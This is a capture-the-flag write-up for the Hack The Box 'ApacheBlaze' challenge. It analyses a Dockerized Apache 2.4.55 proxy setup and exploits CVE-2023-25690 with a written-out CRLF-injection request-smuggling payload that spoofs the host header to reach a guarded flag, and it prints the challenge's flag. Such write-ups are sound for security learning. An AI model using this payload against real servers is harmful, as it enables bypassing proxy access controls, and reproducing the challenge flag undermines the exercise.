# Hack The Box - ApacheBlaze ![](https://hackmd.io/_uploads/H1BoYjUxa.png) ![](https://hackmd.io/_uploads/S1E9Fj8lp.png) When going to the application, we will see that there are four game to play, the last game catch in my eyes because it says something about the flag. When click to that, it will prompt back ` This game is currently available only from dev.apacheblaze.local. ` ![](https://hackmd.io/_uploads/HyqfcjUep.png) Now lets see the source code ```dockerfile= #Dockerfile FROM alpine:3 # Install system packages RUN apk add --no-cache --update wget apr-dev apr-util-dev gcc libc-dev \ pcre-dev make musl-dev # Download and extract httpd RUN wget https://archive.apache.org/dist/httpd/httpd-2.4.55.tar.gz && tar -xvf httpd-2.4.55.tar.gz WORKDIR httpd-2.4.55 # Compile httpd with desired modules RUN ./configure \ --prefix=/usr/local/apache2 \ --enable-mods-shared=all \ --enable-deflate \ --enable-proxy \ --enable-proxy-balancer \ --enable-proxy-http \ && make \ && make install # Move compiled httpd binary RUN mv httpd /usr/local/bin WORKDIR / # Copy Apache config files COPY conf/httpd.conf /tmp/httpd.conf RUN cat /tmp/httpd.conf >> /usr/local/apache2/conf/httpd.conf # Can't bind to port 80 RUN sed -i '/^Listen 80$/s/^/#/' /usr/local/apache2/conf/httpd.conf # Copy challenge files COPY challenge/frontend/src/. /usr/local/apache2/htdocs/ RUN mkdir /app # Copy application and configuration files COPY conf/. /app COPY challenge/backend/src/. /app # Install Python dependencies RUN apk add --update --no-cache \ g++ \ python3 \ python3-dev \ build-base \ linux-headers \ py3-pip \ && pip install -I --no-cache-dir -r /app/requirements.txt # Add a system user and group RUN addgroup -S uwsgi-group && adduser -S -G uwsgi-group uwsgi-user # Fix permissions RUN chown -R uwsgi-user:uwsgi-group /usr/local/apache2/logs \ && chmod 755 /usr/local/apache2/logs \ && touch /usr/local/apache2/logs/error.log \ && chown uwsgi-user:uwsgi-group /usr/local/apache2/logs/error.log \ && chmod 644 /usr/local/apache2/logs/error.log # Switch user to uwsgi-user USER uwsgi-user # Expose Apache's port EXPOSE 1337 # Run httpd and uwsgi CMD ["sh", "/app/uwsgi/start_uwsgi.sh"] ``` In the docker file, we see that it will use `httpd version 2.4.55`, searching for vulnerability of this version, we will see this https://httpd.apache.org/security/vulnerabilities_24.html ![](https://hackmd.io/_uploads/Hk_5ciLep.png) It have a HTTP request splitting CVE, so keep that in mind. ```python= from flask import Flask, request, jsonify app = Flask(__name__) app.config['GAMES'] = {'magic_click', 'click_mania', 'hyper_clicker', 'click_topia'} app.config['FLAG'] = 'HTB{f4k3_fl4g_f0r_t3st1ng}' @app.route('/', methods=['GET']) def index(): game = request.args.get('game') if not game: return jsonify({ 'error': 'Empty game name is not supported!.' }), 400 elif game not in app.config['GAMES']: return jsonify({ 'error': 'Invalid game name!' }), 400 elif game == 'click_topia': if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': return jsonify({ 'message': f'{app.config["FLAG"]}' }), 200 else: return jsonify({ 'message': 'This game is currently available only from dev.apacheblaze.local.' }), 200 else: return jsonify({ 'message': 'This game is currently unavailable due to internal maintenance.' }), 200 ``` The backend is taking a `game` GET parameter, and then check if it is `click_topia` and have header `X-Forwarded-Host` is `dev.apacheblaze.local`, then we will see the flag At first, i thought that i just have to change the value of `X-Forwarded-Host` to `dev.apacheblaze.local` but got nothing. So i print out the value to check. ```python= elif game == 'click_topia': # if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local': if request.headers.get('X-Forwarded-Host'): return jsonify({ # 'message': f'{app.config["FLAG"]}' 'message': f"{request.headers.get('X-Forwarded-Host')}" }), 200 ``` ![](https://hackmd.io/_uploads/rklQTiIgp.png) We can see that, it return a string of 3 host,so it won't match with this condition ``if request.headers.get('X-Forwarded-Host') == 'dev.apacheblaze.local'`` But why it return 3 hosts? Because the request is going through proxy and load balancer before it reachs the server. ```httpd= ServerName _ ServerTokens Prod ServerSignature Off Listen 8080 Listen 1337 ErrorLog "/usr/local/apache2/logs/error.log" CustomLog "/usr/local/apache2/logs/access.log" common LoadModule rewrite_module modules/mod_rewrite.so LoadModule proxy_module modules/mod_proxy.so LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_balancer_module modules/mod_proxy_balancer.so LoadModule slotmem_shm_module modules/mod_slotmem_shm.so LoadModule lbmethod_byrequests_module modules/mod_lbmethod_byrequests.so <VirtualHost *:1337> ServerName _ DocumentRoot /usr/local/apache2/htdocs RewriteEngine on RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P] ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/" </VirtualHost> <VirtualHost *:8080> ServerName _ ProxyPass / balancer://mycluster/ ProxyPassReverse / balancer://mycluster/ <Proxy balancer://mycluster> BalancerMember http://127.0.0.1:8081 route=127.0.0.1 BalancerMember http://127.0.0.1:8082 route=127.0.0.1 ProxySet stickysession=ROUTEID ProxySet lbmethod=byrequests </Proxy> </VirtualHost> ``` This is a Apache config file ``LoadModule proxy_http_module modules/mod_proxy_http.so LoadModule proxy_balancer_module modules/mod_proxy_balancer.so`` Here we can see that it load proxy and balancer module so that this apache server will act like a proxy server to handle the request before it reachs the backend server. ```httpd= RewriteEngine on RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P] ProxyPassReverse "/" "http://127.0.0.1:8080:/api/games/" ``` At this part, it will turn on the `Rewrite Engine` to perform URL rewrite functionality ```httpd RewriteRule "^/api/games/(.*)" "http://127.0.0.1:8080/?game=$1" [P] ``` This rule is designed to rewrite URLs that match the pattern `^/api/games/(.*)` and redirect them to `http://127.0.0.1:8080/?game=$1` The `$1` represents the captured value from the pattern `(.*?)`, which is appended as the game query parameter in the redirected URL. `[P]` is used to indicate that the rewrite rule should be processed as a proxy request. It instructs Apache to proxy the rewritten request to the target URL specified in the rule. After googling about vulnerability of the Apache CVE, i see this [Github Repository](https://github.com/dhmosfunk/CVE-2023-25690-POC#internal-http-request-smuggling-via-header-injection) which show how to exploit with CRLF inject. ![](https://hackmd.io/_uploads/rk_RB2Il6.png) So now i will test on my `localhost`, i will print out every header ![](https://hackmd.io/_uploads/ByeZLnUgp.png) You see that it have print out the header `Foo` value. So now i will try internal HTTP request smuggling with this payload ```%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED``` ```HTTP= GET /api/games/click_topia%20HTTP/1.1%0d%0aHost:%20dev.apacheblaze.local%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1 Host: localhost:1337 ``` After transformation with the rewrite rule, it will be like this ``` GET /?game=click_topia HTTP/1.1 Host: dev.apacheblaze.local GET /SMUGGLED HTTP/1.1 Host: backend ``` When i print out the value of `X-Forwarded-Host` header, it just have the value of the `Host` header we smuggled ![](https://hackmd.io/_uploads/r10ec2IgT.png) ![](https://hackmd.io/_uploads/rycG9hLl6.png) We can see that we successfully create 2 HTTP requests at the same time Now go to the real server to get the flag ![](https://hackmd.io/_uploads/By6Fq3UgT.png) Flag : `HTB{1t5_4ll_4b0ut_Th3_Cl1ck5}`